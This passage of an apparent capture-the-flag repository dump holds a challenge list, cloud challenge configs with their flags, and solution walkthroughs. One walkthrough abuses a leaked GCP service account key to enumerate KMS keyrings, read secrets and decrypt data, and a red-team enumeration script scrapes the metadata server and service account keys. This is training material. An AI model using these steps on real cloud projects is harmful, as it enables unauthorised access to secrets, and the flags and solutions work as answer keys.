[
  {
    "path": "README.md",
    "content": "# cloud\n|                  Challenge                  |   Author   | Difficulty | Release Round |\n| ------------------------------------------- | ---------- | ---------- | ------------- |\n| [Bad Bucket](./cloud/bad-bucket)            | Blue Alder | easy       | round 1       |\n| [Not as Bad Bucket](./cloud/notasbadbucket) | Blue Alder | easy       | round 1       |\n| [Lost n Found](./cloud/lost-n-found)        | Blue Alder | medium     | round 1       |\n| [Whale Blog](./cloud/whale_blog)            | Blue Alder | medium     | round 2       |\n\n# crypto\n|                          Challenge                          |       Author       | Difficulty | Release Round |\n| ----------------------------------------------------------- | ------------------ | ---------- | ------------- |\n| [Substitution Cipher I](./crypto/substitution-cipher-i)     | joseph#8210        | beginner   | round 1       |\n| [Break Me!](./crypto/aes-ecb)                               | 2keebs             | easy       | round 1       |\n| [OTWhat 1](./crypto/otwhat-1)                               | nullableVoid*#7225 | easy       | round 2       |\n| [Substitution Cipher II](./crypto/substitution-cipher-ii)   | joseph#8210        | easy       | round 1       |\n| [treasure](./crypto/treasure)                               | joseph#8210        | easy       | round 1       |\n| [OTWhat 2](./crypto/otwhat-2)                               | nullableVoid*#7225 | medium     | round 2       |\n| [Secuchat](./crypto/secuchat)                               | nullableVoid*#7225 | medium     | round 1       |\n| [1337crypt v2](./crypto/1337crypt-v2)                       | joseph#8210        | hard       | round 2       |\n| [power sign](./crypto/power-sign)                           | joseph#8210        | hard       | round 1       |\n| [Substitution Cipher III](./crypto/substitution-cipher-iii) | joseph#8210        | hard       | round 1       |\n| [yadlp](./crypto/yadlp)                                     | joseph#8210        | hard       | round 1       |\n\n# forensics\n|                          Challenge                          |     Author     | Difficulty | Release Round |\n| ----------------------------------------------------------- | -------------- | ---------- | ------------- |\n| [Retro!](./forensics/retro)                                 | Yo_Yo_Bro      | beginner   | round 1       |\n| [Do the loop!](./forensics/do_the_loop)                     | Yo_Yo_Bro      | easy       | round 1       |\n| [How to pronounce GIF](./forensics/how-to-pronounce-gif)    | xXl33t_h@x0rXx | easy       | round 1       |\n| [That's Not My Name](./forensics/Thats_Not_My_Name)         | Conletz#5420   | easy       | round 1       |\n| [The File is Lava](./forensics/The_File_Is_Lava)            | TheDon*#2152   | medium     | round 2       |\n| [Want to Play a Game?](./forensics/WouldYouLikeToPlayAGame) | Conletz#5420   | medium     | round 1       |\n\n# misc\n|                          Challenge                          |        Author         | Difficulty | Release Round |\n| ----------------------------------------------------------- | --------------------- | ---------- | ------------- |\n| [Discord](./misc/discord)                                   | Crem                  | none       | round 1       |\n| [Twitter](./misc/twitter)                                   | Crem                  | none       | round 1       |\n| [Builder](./misc/builder)                                   | BearArms (Cybears)    | beginner   | round 1       |\n| [General Skills Quiz](./misc/general_skills_quiz)           | Crem                  | beginner   | round 1       |\n| [The Introduction](./misc/the_introduction)                 | Crem                  | beginner   | round 1       |\n| [Floormat](./misc/floormat)                                 | todo#7331             | easy       | round 1       |\n| [GammaSafe](./misc/gammasafe)                               | nullableVoid*#7225    | easy       | round 2       |\n| [rabbit](./misc/rabbit)                                     | Crem + z3kxTa         | easy       | round 1       |\n| [Canary](./misc/canary)                                     | 247CTF.com            | medium     | round 1       |\n| [i-pee fs](./misc/i_pee_fs)                                 | dot                   | medium     | round 2       |\n| [Flying Spaghetti Monster](./misc/flying-spaghetti-monster) | hypersphere (Cybears) | hard       | round 1       |\n\n# survey\n|        Challenge        | Author | Difficulty | Release Round |\n| ----------------------- | ------ | ---------- | ------------- |\n| [Survey](./misc/survey) | DUCTF  | none       | round 3       |\n\n# OSINT\n|                                Challenge                                 |     Author     | Difficulty | Release Round |\n| ------------------------------------------------------------------------ | -------------- | ---------- | ------------- |\n| [Who goes there?](./osint/Who-goes-there)                                | xXl33t_h@x0rXx | beginner   | round 1       |\n| [(back) On the rails](./osint/(back)-On-the-rails)                       | xXl33t_h@x0rXx | easy       | round 2       |\n| [Get over it!](./osint/get-over-it)                                      | Yo_Yo_Bro      | easy       | round 1       |\n| [The Internet is Written in Ink](./osint/the_internet_is_written_in_ink) | Crem           | easy       | round 1       |\n| [Apartment Views](./osint/Apartment-views)                               | xXl33t_h@x0rXx | medium     | round 2       |\n| [eyespy](./osint/eyespy)                                                 | xXl33t_h@x0rXx | medium     | round 2       |\n| [Heart of the nation](./osint/Heart-of-the-nation)                       | xXl33t_h@x0rXx | medium     | round 1       |\n| [Sharing is Caring](./osint/sharing_is_caring)                           | xXl33t_h@x0rXx | hard       | round 2       |\n\n# pwn\n|                     Challenge                      |     Author     | Difficulty | Release Round |\n| -------------------------------------------------- | -------------- | ---------- | ------------- |\n| [deadcode](./pwn/deadcode)                         | xXl33t_h@x0rXx | beginner   | round 1       |\n| [Leaking like a sieve](./pwn/leaking-like-a-sieve) | xXl33t_h@x0rXx | beginner   | round 1       |\n| [babygame](./pwn/babygame)                         | grub           | easy       | round 1       |\n| [outBackdoor](./pwn/out-backdoor)                  | xXl33t_h@x0rXx | easy       | round 1       |\n| [write what where](./pwn/write-what-where)         | joseph#8210    | easy       | round 2       |\n| [Oversight](./pwn/oversight)                       | B3NNY          | medium     | round 1       |\n| [ready, bounce, pwn!](./pwn/ready-bounce-pwn)      | joseph#8210    | medium     | round 2       |\n| [DUCTFnote](./pwn/ductfnote)                       | grub           | hard       | round 1       |\n| [encrypted note](./pwn/encrypted-note)             | joseph#8210    | hard       | round 1       |\n\n# reversing\n|                 Challenge                  |       Author       | Difficulty | Release Round |\n| ------------------------------------------ | ------------------ | ---------- | ------------- |\n| [no strings](./rev/no-strings)             | joseph#8210        | beginner   | round 1       |\n| [flag loader](./rev/flag-loader)           | joseph#8210        | easy       | round 1       |\n| [Juniperus](./rev/juniperus)               | nullableVoid*#7225 | easy       | round 2       |\n| [bullet hell](./rev/bullet-hell)           | joseph#8210        | medium     | round 2       |\n| [connect the dots](./rev/connect-the-dots) | joseph#8210        | medium     | round 1       |\n| [flag printer](./rev/flag-printer)         | joseph#8210        | medium     | round 1       |\n| [gamer](./rev/gamer)                       | joseph#8210        | medium     | round 1       |\n| [flag checker](./rev/flag-checker)         | joseph#8210        | hard       | round 1       |\n\n# web\n|                    Challenge                     |   Author   | Difficulty | Release Round |\n| ------------------------------------------------ | ---------- | ---------- | ------------- |\n| [Cowboy World](./web/cowboy_world)               | Crem       | beginner   | round 1       |\n| [Inside Out](./web/inside-out)                   | Solopie    | beginner   | round 1       |\n| [Chainreaction](./web/chainreaction)             | n00bmaster | easy       | round 1       |\n| [Farsight](./web/farsight)                       | todo#7331  | easy       | round 2       |\n| [Secret Bin](./web/secret_bin)                   | todo#7331  | easy       | round 2       |\n| [Ezmail](./web/ezmail)                           | todo#7331  | medium     | round 1       |\n| [JWT](./web/jwt)                                 | 247CTF.com | medium     | round 1       |\n| [x1337 Sk1d R3p0rt3r](./web/x1337_sk1d_r3p0rt3r) | xesh       | medium     | round 2       |\n| [Zap](./web/zap)                                 | todo#7331  | medium     | round 1       |\n| [Jasons Proxy](./web/jasons_proxy)               | xesh       | hard       | round 2       |\n| [Notepad](./web/notepad)                         | todo#7331  | hard       | round 1       |\n"
  },
  {
    "path": "cloud/bad-bucket/.gitignore",
    "content": "terraform/.terraform.lock.hcl\nterraform/terraform\nterraform/.terraform\nterraform/terraform.tfstate\nterraform/terraform.tfstate.backup\n"
  },
  {
    "path": "cloud/bad-bucket/README.md",
    "content": "# Bad Bucket\n\n**Creator:** Blue Alder\n\n**Category:** cloud\n\n**Difficulty:** easy\n\n## Flavortext\n\nAw yea have you guys SEEN my new website... its nearly done I swear! I've uploaded it to the ☁️CLOUD☁️ and shared it with you guys now so you can see it! Check it out here\n\n<!-- INSERT LINK HERE -->\n\n\nFlag: DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!}\n"
  },
  {
    "path": "cloud/bad-bucket/challenge.yml",
    "content": "version: \"0.1\"\nid: bad-bucket\nname: Bad Bucket\ncategory: cloud\ndescription: >\n  Aw yea have you guys SEEN my new website... its nearly done I swear! I've uploaded it to the ☁️CLOUD☁️ and shared it with you guys now so you can see it! Check it out here\n\n\n  Author: Blue Alder\n\nconnection_info: https://storage.googleapis.com/the-bad-bucket-ductf/index.html\n\ntags:\n  - easy\n\nflags:\n  - DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!}\n"
  },
  {
    "path": "cloud/bad-bucket/solution.md",
    "content": "# Bad Bucket\n\nSo this was an easy challenge about basic bucket permissions. We are presented with a url as an entry point into the challenge https://storage.googleapis.com/${BUCKET_NAME}/index.html. This URL denotes that the website is hosted on a bucket.\n\nThe website also points towards buckets as a hint. We can try and list the contents of the bucket by navigating up a directory \n\nhttps://storage.googleapis.com/${BUCKET_NAME}\n\nWe get an XML output which shows a few interesting files, notably\n\n```xml\n<Contents>\n<Key>buckets/.notaflag</Key>\n<Generation>1627459441112582</Generation>\n<MetaGeneration>1</MetaGeneration>\n<LastModified>2021-07-28T08:04:01.113Z</LastModified>\n<ETag>\"d66c1be5db93f7b0fd7a63b01f4abeb1\"</ETag>\n<Size>158</Size>\n</Contents>\n```\n\nNavigating to this file to download the file \n\nhttps://storage.googleapis.com/${BUCKET_NAME}/buckets/.notaflag\n\nWe open the file and we recieve the flag!\n\n`DUCTF{if_you_are_beggining_your_cloud_journey_goodluck!}`"
  },
  {
    "path": "cloud/bad-bucket/src/buckets/.notaflag",
    "content": "THIS IS A SECRET FILE THAT SHOULD NOT BE SHARED UNDER ANY CIRCUMSTANCE \n\njk heres the flag good job!\n\nDUCTF{if_you_are_beggining_your_cloud_journey_goodluck!}"
  },
  {
    "path": "cloud/bad-bucket/src/index.html",
    "content": "<!DOCTYPE html>\n\n<html>\n    <head>\n        <title>Cloud Time</title>\n        <link href=\"https://cdn.jsdelivr.net/npm/bootstrap@5.0.0-beta2/dist/css/bootstrap.min.css\" rel=\"stylesheet\" integrity=\"sha384-BmbxuPwQa2lc/FVzBcNJ7UAyJxM6wuqIj61tLrc4wSX0szH/Ev+nYRRuWlolflfl\" crossorigin=\"anonymous\">\n    </head>\n    <body>\n        <div class=\"container\">\n            <h1>Hello and welcome to my website</h1>\n            <p>I'm really happy you could make it to my site! I'm still working on some things and getting up and started but hey I hope you like my website</p>\n            <p>While I'm still getting everything up and running please feel free to look at some of these pics of my buckets</p>\n            <button type=\"button\" class=\"btn btn-primary\"> A button, press me and I go beep boop</button>\n            <p> Progress of website being done </p>\n            <div class=\"progress\">\n                <div class=\"progress-bar\" role=\"progressbar\" style=\"width: 25%\" aria-valuenow=\"25\" aria-valuemin=\"0\" aria-valuemax=\"100\"></div>\n                <p>You can tell that this website is not complete because this loading bar is not complete...</p>\n            </div>\n            <p></p>\n\n            <div class=\"buckets row\">\n                <div class='col-6' >\n                    <img src=\"buckets/bucket1.jpg\" />\n                </div>\n                <div class='col-6' >\n                    <img src=\"buckets/bucket2.jpg\" />\n                </div>\n            </div>\n\n            <div class=\"buckets row\">\n                <div class='col-6' >\n                    <img src=\"buckets/bucket3.png\" />\n\n                </div>\n                <div class='col-6' >\n                    <img src=\"buckets/bucket4.png\" />\n                </div>\n            </div>\n        </div>\n    </body>\n</html>"
  },
  {
    "path": "cloud/bad-bucket/terraform/terraform.tf",
    "content": "provider \"google\" {\n  project = var.project_id\n  region  = \"australia-southeast1\"\n  zone    = \"australia-southeast1-b\"\n}\n\nresource \"google_storage_bucket\" \"bucket-bucket\" {\n  name          = var.bucket_name\n  location      = \"AUSTRALIA-SOUTHEAST1\"\n  force_destroy = true\n  uniform_bucket_level_access = false\n  website {\n    main_page_suffix = \"index.html\"\n  }\n} \n\ndata \"google_iam_policy\" \"viewer\" {\n  binding {\n    role = \"roles/storage.objectViewer\"\n    members = [\n      \"allUsers\",\n    ]\n  }\n}\n\nresource \"google_storage_bucket_iam_policy\" \"policy\" {\n  bucket = google_storage_bucket.bucket-bucket.name\n  policy_data = data.google_iam_policy.viewer.policy_data\n}\n\nresource \"google_storage_bucket_object\" \"object1\" {\n  name   = \"buckets/bucket1.jpg\"\n  source = \"../src/buckets/bucket1.jpg\"\n  bucket = google_storage_bucket.bucket-bucket.name\n  depends_on = [google_storage_bucket.bucket-bucket]\n}\n\nresource \"google_storage_bucket_object\" \"object2\" {\n  name   = \"buckets/bucket2.jpg\"\n  source = \"../src/buckets/bucket2.jpg\"\n  bucket = google_storage_bucket.bucket-bucket.name\n  depends_on = [google_storage_bucket.bucket-bucket]\n}\n\nresource \"google_storage_bucket_object\" \"object3\" {\n  name   = \"buckets/bucket3.png\"\n  source = \"../src/buckets/bucket3.png\"\n  bucket = google_storage_bucket.bucket-bucket.name\n  depends_on = [google_storage_bucket.bucket-bucket]\n}\n\nresource \"google_storage_bucket_object\" \"object4\" {\n  name   = \"buckets/bucket4.png\"\n  source = \"../src/buckets/bucket4.png\"\n  bucket = google_storage_bucket.bucket-bucket.name\n  depends_on = [google_storage_bucket.bucket-bucket]\n}\n\nresource \"google_storage_bucket_object\" \"object_html\" {\n  name   = \"index.html\"\n  source = \"../src/index.html\"\n  bucket = google_storage_bucket.bucket-bucket.name\n  depends_on = [google_storage_bucket.bucket-bucket]\n}\n\nresource \"google_storage_bucket_object\" \"object_flag\" {\n  name   = \"buckets/.notaflag\"\n  source = \"../src/buckets/.notaflag\"\n  bucket = google_storage_bucket.bucket-bucket.name\n  depends_on = [google_storage_bucket.bucket-bucket]\n}\n\n"
  },
  {
    "path": "cloud/bad-bucket/terraform/terraform.tfvars",
    "content": "project_id = \"ductf-bad-bucket\" # Update: Desired project name.\n\nbucket_name = \"the-bad-bucket-ductf\""
  },
  {
    "path": "cloud/bad-bucket/terraform/variables.tf",
    "content": "variable \"project_id\" {\n  description = \"GCP Project id\"\n  type        = string\n}\n\nvariable \"bucket_name\" {\n  description = \"Name of the bucket\"\n  type        = string\n}\n"
  },
  {
    "path": "cloud/lost-n-found/README.md",
    "content": "# Lost n Found\n\n**Author:** Blue Alder\n\n**Difficulty:** Medium\n\n## Flavor Text\n\nFound this service account key after the results of a pen test but we are running out of time and we are looking to increase the impact of our finding. Can you get some results so we can maximise our bounty, we know there is highly *secretive* material in their Cloud Project!\n\n**Attached files:**\nlegacy.json (to be generated when project is created)"
  },
  {
    "path": "cloud/lost-n-found/challenge.yml",
    "content": "version: \"0.1\"\nid: lost-n-found\nname: Lost n Found\ncategory: cloud\ndescription: |\n  Found this service account key after the results of a pen test but we are running out of time and we are looking to increase the impact of our finding. Can you get some results so we can maximise our bounty, we know there is highly *secretive* material in their Cloud Project!\n\n  Author: Blue Alder\n\ntags:\n  - medium\n\nfiles:\n  - src/legacy.json\n\nflags:\n  - DUCTF{its_time_to_clean_up_your_service_account_permissions!}\n"
  },
  {
    "path": "cloud/lost-n-found/solution.md",
    "content": "# Solution\n\nSo this challenge was all about enumeration and finding what you can do with an old service account key that was kept around for legacy purposes.\n\nIf you have followed some of my other Cloud challenges from last year you would know that I love [this](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_enum/-/blob/master/gcp_enum.sh) script from GitLab Red team on enumerating GCP resources So lets go ahead and use that and see what happens.\n\nBut before that we need to enable the service account key and make sure we are looking at the right project. So lets take a look at the key.\n\n```json\n{\n  \"type\": \"service_account\",\n  \"project_id\": \"${SOME_PROJECT_NAME}\",\n  \"private_key_id\": \"6baafbed73bf3181fd03b8d26f40eb53f235fe0f\",\n  \"private_key\": \"-----BEGIN PRIVATE KEY-----<snip></snip>PRIVATE KEY-----\\n\",\n  \"client_email\": \"legacy-svc-account@${SOME_PROJECT_NAME}.iam.gserviceaccount.com\",\n  \"client_id\": \"110800087806377709098\",\n  \"auth_uri\": \"https://accounts.google.com/o/oauth2/auth\",\n  \"token_uri\": \"https://oauth2.googleapis.com/token\",\n  \"auth_provider_x509_cert_url\": \"https://www.googleapis.com/oauth2/v1/certs\",\n  \"client_x509_cert_url\": \"https://www.googleapis.com/robot/v1/metadata/x509/legacy-svc-account%40${SOME_PROJECT_NAME}.iam.gserviceaccount.com\"\n}\n```\n\nNote that I have removed the private key and the project name given that these could change in the real challenge.\n\nHowever this key gives us a bit of insight, we now know the project name. We know that the service account is called `legacy-svc-account`.\n\nCool lets go ahead and see what we can do with it. Activated the key with\n\n`gcloud auth activate-service-account --key-file=legacy.json`\n\nThen lets make sure we are looking at the right project but running:\n\n`gcloud config set project ${SOME_PROJECT_NAME}`\n\nNOTE: We get the project name from the Key above.\n\nOkay so let's run the enumeration script from before and see what we get in the output. The script is a bit old so we get some false positives, but looking in the output folder from the script we can see what it actually found.\n\nAfter scanning everything we only really get one result which is:\n```\n[*] Enumerating crypto keys\n  [+] SUCCESS\n  [!] FAIL\n  [+] SUCCESS\n```\n\nAnd looking in `kms.txt` we see \n\n```\nNAME\nprojects/cloudsupporthacks/locations/global/keyRings/empty-keyring\n```\n\nHmm okay, so there is no keys in this keyring but surely this is here for a reason. It also tells us that we DO have permission to list keyrings. So maybe there are other keyrings we can't see.\n\nA bit of research into this you should find that [keyrings](https://cloud.google.com/sdk/gcloud/reference/kms/keyrings/list) are coupled with a location and by default we are looking at the GLOBAL location.\n\nSo let's try and see if there are any other keyrings in any other region. So let's a get a list of all available regions in GCP. We quickly grab a list from online and put it together, or if you haver another GCP project you have access to you can run.\n\n`gcloud compute regions list --format=value(name) > regions.txt`\n\nThen lets try and list all the keyrings again but in each region so:\n\n`for region in $(cat regions.txt); do gcloud kms keyrings list --location ${region}; done;`\n\nAnd bingo from within the output we get\n\n```\nNAME\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks\n```\n\nA keyring in the `australia-southeast2` region, this is good to know and to note down. Let's see if there are any keys in that keyring.\n\n```bash\ngcloud kms keys list --keyring wardens-locks --location australia-southeast2\n\nNAME                                                                                                        PURPOSE          ALGORITHM                    PROTECTION_LEVEL  LABELS  PRIMARY_ID  PRIMARY_STATE\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-big-key       ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-bronze-key    ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-diamond-key   ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-fat-key       ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-filthy-key    ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-golden-key    ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-jail-key      ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-key-key       ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-northern-key  ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-secret-key    ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-silver-key    ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-small-key     ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/a-smart-key     ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\nprojects/cloudsupporthacks/locations/australia-southeast2/keyRings/wardens-locks/cryptoKeys/an-iron-key     ENCRYPT_DECRYPT  GOOGLE_SYMMETRIC_ENCRYPTION  SOFTWARE                  1           ENABLED\n\n```\n\nJeez okay so now we have a whole lot of keys that are all enabled and can do SYMMETRIC_ENCRYPTION. \n\nThere isn't really much else we can do with this since, we need something to encrypt/decrypt. To use this, so let's keep looking.\n\nThere has to be some other piece of data that we are missing. But after investigating the GCP_ENUM script we don't see anything. \n\nGoing back to the challenge description we see the word `secretive` is in italics, is this a hint pointing towards Cloud Secrets?\n\nLets try and list the secrets in the project.\n\n```bash\ngcloud secrets list\n\nNAME               CREATED              REPLICATION_POLICY  LOCATIONS\nunused_data        2021-08-27T04:14:12  automatic           -\n```\n\nBingo, another permission we have found we have is to list secrets. Can we... access the secrets? Let's try:\n\n```\ngcloud secrets versions list unused_data\n\nNAME  STATE    CREATED              DESTROYED\n1     enabled  2021-08-27T04:14:16  -\n```\n\nSo there is only 1 version which is enabled lets try and grab it:\n\n```bash\ngcloud secrets versions access 1 --secret unused_data\n\nCiQA2HYKWM869h0ZRmbEdHfu4AndTgPleZ7sklglz+ifGk/nBU8SZgDcCnx57Or2BojHjcMNJHv+++e6B0Heul1bagPi1xuQ5q+/riw7sy26bDUZpp8/105NI34IkszTMFBfsXvOgMqaMNBu/oGdL07hBLcS5ZCHLK7J9U9AhjZo457NiUcqfjg2u2ErZg==\n```\n\nNice! Some base64, however if we base64 decode it, we just get random data...... encrypted data!\n\nLet's try and use some of the keys from above to see if we can decrypt this data. Saving the decoded base64 to a file called secret.enc.\n\nHowever we don't know which key to use... or how many. No problems lets just write another for loop.\n\nSo lets use [this](https://cloud.google.com/sdk/gcloud/reference/kms/decrypt) command as a reference so we can try this again.\n\nFirst we need to export a list of the key names in the key ring:\n\n```bash\ngcloud kms keys list --keyring wardens-locks --location australia-southeast2 --format=value\\(name\\) | cut -d/ -f8\n\na-big-key\na-bronze-key\na-diamond-key\na-fat-key\na-filthy-key\na-golden-key\na-jail-key\na-key-key\na-northern-key\na-secret-key\na-silver-key\na-small-key\na-smart-key\nan-iron-key\n```\n\nLet's save that to a file called keys.txt and give this another go:\n\n```bash\nfor key in $(cat keys.txt); do echo Trying $key...; gcloud kms decrypt --key=$key --keyring=wardens-locks --location australia-southeast2 --ciphertext-file=./cipher.enc --plaintext-file=final.txt; done\n\nTrying a-big-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-bronze-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-diamond-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-fat-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-filthy-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-golden-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-jail-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-key-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-northern-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-secret-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-silver-key...\nTrying a-small-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying a-smart-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\nTrying an-iron-key...\nERROR: (gcloud.kms.decrypt) INVALID_ARGUMENT: Decryption failed: verify that 'name' refers to the correct CryptoKey.\n```\n\nThis doesn't look promising. However, we see that final.txt was actually created! And a-silver-key didn't error out. Looking at `final.txt`\n\nWe get the flag!\n\n`DUCTF{its_time_to_clean_up_your_service_account_permissions!}`\n\n\n"
  },
  {
    "path": "cloud/lost-n-found/src/enum_script/gcp_enum.sh",
    "content": "#!/bin/bash\n\n###############################################################################\n# GCP enumeration script by the GitLab Red Team.\n\n# This script is meant to run from a Linux Google Compute Instance. All\n# commands are passive, and will generate miscellaneous text files in the\n# `out-gcp-enum` folder in the current working directory.\n\n# Just run the script. Provide a \"-d\" argument to debug stderr.\n###############################################################################\n\nOUTDIR=\"out-gcp-enum-$(date -u +'%Y-%m-%d-%H-%M-%S')\"\nMETA=\"http://metadata.google.internal\"\nDEBUG=\"$1\"\n\n# We want a unique output dir, to avoid overwriting anything\nif [[ ! -d \"$OUTDIR\" ]]; then\n    mkdir \"$OUTDIR\"\n    echo \"[*] Created folder '$OUTDIR' for output\"\nelse\n    echo \"[!] Output folder exists, something went wrong! Exiting.\"\n    exit 1\nfi\n\n# This function will help standardize running a command, appending to a log\n# file, and reporting on whether or not it completed successfully\nfunction run_cmd () {\n    # Syntaxt will be: run_cmd \"[COMMAND]\" \"[LOGFILE]\"\n    command=\"$1\"\n    outfile=\"$OUTDIR\"/\"$2\"\n\n    # If script is run with '-d' as the first argument, stderr will be shown.\n    # Otherwise, we just assume stderr is a permission thing and give a generic\n    # failure message.\n    if [[ \"$DEBUG\" == \"-d\" ]]; then\n        /bin/bash -c \"$command\" >> \"$outfile\"\n    else\n        /bin/bash -c \"$command\" >> \"$outfile\" 2>/dev/null\n    fi\n\n    # Not providing robust error messages\n    if [ $? -eq 0 ]; then\n        echo \"  [+] SUCCESS\"\n    else\n        echo \"  [!] FAIL\"\n    fi\n}\n\n# From here on the syntax is:\n#  run_cmd \"[COMMAND]\" \"[LOGFILE]\"\n\necho \"[*] Analyzing gcloud configuration\"\nrun_cmd \"gcloud info --quiet\" \"gcloud-info.txt\"\nrun_cmd \"gcloud config list --quiet\" \"gcloud-info.txt\"\nrun_cmd \"gcloud auth list --quiet\" \"gcloud-info.txt\"\n\necho \"[*] Scraping metadata server\"\nurl=\"$META/computeMetadata/v1/?recursive=true&alt=text\"\nrun_cmd \"curl '$url' -H 'Metadata-Flavor: Google'\" \"metadata.txt\"\n\necho \"[*] Exporting detailed compute instance info\"\nrun_cmd \"gcloud compute instances list --quiet --format=json\" \"compute-instances.json\"\n\necho \"[*] Exporting detailed firewall info\"\nrun_cmd \"gcloud compute firewall-rules list --quiet --format=json\" \"firewall.json\"\n\necho \"[*] Exporting detailed subnets info\"\nrun_cmd \"gcloud compute networks subnets list --quiet --format=json\" \"subnets.json\"\n\necho \"[*] Exporting detailed service account info\"\nrun_cmd \"gcloud iam service-accounts list --quiet --format=json\" \"service-accounts.json\"\n\necho \"[*] Exporting detailed service account key info\"\nfor i in $(gcloud iam service-accounts list --format=\"table[no-heading](email)\"); do\n    run_cmd \"gcloud iam service-accounts keys list --quiet --iam-account $i --quiet --format=json\" \\\n        \"service-account-keys.json\"\ndone\n\necho \"[*] Exporting detailed project IAM info\"\nurl=\"$META/computeMetadata/v1/project/project-id\"\nprj=$(curl $url -H \"Metadata-Flavor: Google\" -s)\nrun_cmd \"gcloud projects get-iam-policy $prj --quiet --format=json\" \"iam-policy-project.json\"\n\necho \"[*] Exporting detailed organization IAM info\"\nfor i in $(gcloud organizations list | awk '{print $2}' | tail -n +2); do\n    run_cmd \"gcloud organizations get-iam-policy $i --quiet\" \"iam-policy-org-$i.json\"\ndone\n\necho \"[*] Exporting detailed available project info\"\nrun_cmd \"gcloud projects list --quiet --format=json\" \"projects.json\"\n\necho \"[*] Exporting detailed instance template info\"\nrun_cmd \"gcloud compute instance-templates list --quiet --format=json\" \"compute-templates.json\"\n\necho \"[*] Exporting detailed custom image info\"\nrun_cmd \"gcloud compute images list --no-standard-images --quiet --format=json\" \"compute-images.json\"\n\necho \"[*] Exporting detailed Cloud Functions info\"\nrun_cmd \"gcloud functions list --quiet --format=json\" \"cloud-functions.json\"\n\necho \"[*] Exporting detailed Pub/Sub info\"\nrun_cmd \"gcloud pubsub subscriptions list --quiet --format=json\" \"pubsub.json\"\n\necho \"[*] Exporting detailed compute backend info\"\nrun_cmd \"gcloud compute backend-services list --quiet --format=json\" \"backend-services.json\"\n\necho \"[*] Exporting detailed cloud run info\"\nrun_cmd \"gcloud compute backend-services list --quiet --format=json\" \"backend-services.json\"\n\necho \"[*] Exporting detailed AI platform info\"\nrun_cmd \"gcloud ai-platform models list --quiet --format=json\" \"ai-platform.json\"\nrun_cmd \"gcloud ai-platform jobs list --quiet --format=json\" \"ai-platform.json\"\n\necho \"[*] Exporting detailed Cloud Source Repository info\"\nrun_cmd \"gcloud run services list --platform=managed --quiet --format=json\" 